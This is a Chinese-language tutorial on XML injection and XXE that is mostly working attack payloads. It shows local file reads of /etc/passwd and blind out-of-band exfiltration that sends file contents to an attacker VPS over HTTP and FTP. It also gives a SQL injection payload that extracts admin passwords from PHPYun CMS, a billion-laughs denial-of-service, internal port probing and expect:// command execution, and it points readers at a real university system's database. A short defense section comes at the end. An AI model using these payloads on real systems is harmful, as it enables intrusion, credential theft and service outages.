xml注入
首先,我们需要对XML进行一定的了解,在这里不做过多的多余叙述,接下图为XML工作流程:
简易xml概括
实体引用
对于实体ENTITY,XML定义了两种类型的实体,一种在XML文档中使用,另一种作为参数在DTD中使用。语法如下:
<!DOCTYPE 名字 [<!ENTITY 实体名 "实体内容"]>
楼下为预定义的实体引用
DTD(文档类型定义)
定义:
其可定义XML文档的合法构建模块,可在XML文档内声明,也可外部引用。
构建方式:
先来说下CDATA,指由XML解析器进行解析的文本数据(未分析的字符数据)。在XML中,<,&字符为非法,避免麻烦例如JS代码,就将脚本代码定为CDATA ,其中的内容都会被解析器忽略,组成结构为:" <![CDATA [" ****"]]>"
。其次就是普通声明及引用
<!ENTITY entity-name "entity-value">
引用:
<message>&entity-name; </ message>
,即可将“ entity-value”展示出来
1.内部实体声明
内部实体指在一个实体中定义的另一个实体,可用单双引号来区分内外部。
eg:<!ENTITY % in "<!ENTITY web 'http://vps'>">
%in;
2.外部实体声明及默认协议
eg: <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY flag SYSTEM "file:///etc/passwd">
]>
<a>&flag;</a>
3.参数实体
参数实体仅用于DTD和文档的内部子集中,XML的规范定义中,仅在DTD中才能引用参数实体。并且参数实体的引用在DTD中是该类型的实体使用“百分比”字符(或十六进制)编码的百分比)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容,其在DTD中的解析优先于XML文本中的内部实体解析。
eg: <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % one "hello">
]>
%one;
漏洞利用
XXE
原理(以PHPYun cms为例)
这里的漏洞位置为此cms的weixin/model/index.class.php
,如下所示:
private function responseMsg()
{
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr)){
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<![CDATA[%s]]>
<![CDATA[%s]]>
%s
<![CDATA[%s]]>
<![CDATA[%s]]>
0
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}
}else {
echo "";
exit;
}
}
我们可以看到$postStr = $GLOBALS["HTTP_RAW_POST_DATA"]
,这句话的意思是传递原生的语句,而后$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
又通过simplexml_load_string函数解析后,直接传入$textTpl
.
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
这里也相当于直接获取post过来的XML内容直接输出.(请记住这一部分,我们将会在下一部分XXE与SQL注入继续审计)
外部实体注入
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>
基于盲注的XXE
原理
当我们在无回显和无报错的基础上使用盲注,即来构建一条带外信道(OOB)获得数据,主要使用DTD中的内部实体及参数实体。
示例
注入xml文件
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % host SYSTEM "file:///D:/flag.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%receive;
%send;
]>
xxx.xml文件
<!ENTITY % receive "<!ENTITY send SYSTEM 'http://xxx/x.php?host=%host;'>">
x.php
<?php
file_put_contents("1.txt", $_GET['host']) ;
?>
通过以上代码就可以进行读取文件等常规操作了,以上说的是php环境,再说下java环境:可通过gopher,file和jar等协议进行配合nc,ftp协议,
这里找到一个赏金猎人写的文章,可以一看
验证漏洞
其实只要让网站对我们的服务器发一个http请求,然后看是否服务器接收到请求即可。代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://vps">
%remote;
]>
基于报错的XXE
和sql注入中的报错注入差不多的原理,当我们将payload故意写错,例如在第二行出错,那xml的内容就会出现在下一行。
下图为示例
XML配置文件未授权访问
多见于用户名,密码,apache,ldap数据库等配置信息泄露
更多示例可查看以下链接:
https://m.hundan.org/wooyun-2015-0123762;
https://m.hundan.org/wooyun-2015-0123588;
https://m.hundan.org/wooyun-2016-0207791(19护网顺手挖到了一个同款漏洞呵呵)
XXE与SQL注入
原理(PHPYun cms为例)
if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr = "<![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!/n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位/n绑定您的账户体验更多精彩功能/n感谢您的关注!]]>";
$this->MsgType = 'text';
}elseif ($MsgEvent=='CLICK')
{
$EventKey = $postObj->EventKey;
if($EventKey=='我的帐号'){
$centerStr = $this->bindUser($fromUsername);
}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);
}elseif($EventKey=='简历查看')
{
$centerStr = $this->lookResume($fromUsername);
}elseif($EventKey=='刷新简历')
{
$centerStr = $this- > refResume ($ fromUsername );
private function isBind($wxid='')
{
if($wxid)
{
$User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
}
if($User['uid']>0)
{
$User['bindtype'] = '1';
$User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>";
}else{
$Token = $this->getToken();
$Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
$CurlReturn = $this->CurlPost($Url);
$UserInfo = json_decode($CurlReturn);
$wxid = $wxid;
$wxname = $UserInfo->nickname;
$this->config['token_time'] = time();
$User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
}
return $User;
}
我们可以看到第一段代码满足后,会进入第二段代码的isBind函数,这里$wxid
是我们传入的FromUserName
的值,我们在上面XXE原理进行过代码审计知道它不会对我们传入的数据进行过滤,由此可进行SQL注入
payload:
<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName>
需要注意的是一定要修改HTTP请求为Content-Type: text/ xml;
案例
为避免重复造轮,可自行查看火遍各大高校的某方教务,可拖数据库
XXE与XSS攻击
这篇文章写的很不错,可以借鉴一下
使用XML内部实体绕过Chrome和IE的XSS过滤器
XXE与DDOS攻击
原理
一般分为两种:
- 1.请求大的文件(eg:C:/pagefile.sys 或/dev/random)
/dev/random处于unix中,用作伪随机数生成
<!ENTITY go "file:///dev/random" >]><msg>&go;</msg>
- 2.billion laughs攻击,即通过不断递归调用来使解析器繁忙,占用内存最终崩掉。(可配合LOIC工具,食用更佳)
<!--此代码包含10亿个大文件,约占3000M字节内存-->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol
;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&
lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&
lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&
lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&
lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&
lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&
lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&
lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&
lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
案例
https://m.hundan.org/wooyun-2015-0137143
XXE与内网信息,命令执行
这里就不进行原理阐述了,和解释器有一些关系,直接上干货,以下建议配合脚本食用更佳。
- 探测端口
如果失败则可能返回Connection refused
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.1:3306">]>
<root>
<name>&xxe;</name>
</root>
- 探测内网IP
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://otherIP">]>
<root>
<name>&xxe;</name>
</root>
- 在安装有expect扩展的php环境执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<root>
<name>&xxe;</name>
</root>
XXE与Flash跨域攻击(个人认为鸡肋)
这个突破感觉几乎没有什么用,而且利用条件也相对苛刻很多,可以自行查看https://m.hundan.org/wooyun-2012-08182
https://m.hundan.org/wooyun-2011-02491
CTF例题
博主很久之前写的,想来想去就不打算再增加例题和减少掉例题了(懒),多少有点帮助,看着玩吧哈哈
API:
http://web.jarvisoj.com:9882
Blind XXE思路:
1.客户端发送payload1给web服务器
2.网络服务器向VPS获取恶意DTD,并执行文件读取payload2
3.网页服务器带着回显结果访问VPS上特定的FTP或者HTTP
4.通过VPS获得回显(NC监听端口)
payload1:
<? xml version= "1.0" encoding= "UTF-8" ?>
<!DOCTYPE [<!ENTITY % remote SYSTEM "http://vps/test.xml">
%remote;
] >
payload2(服务器端文件):
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;
防御
- 1.及时升级第三方代码,中间件等
- 2.过滤用户输入数据
- 3.使用php及Java等语言的禁用外部实体方法
php:libxml_disable_entity_loader(true);
java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))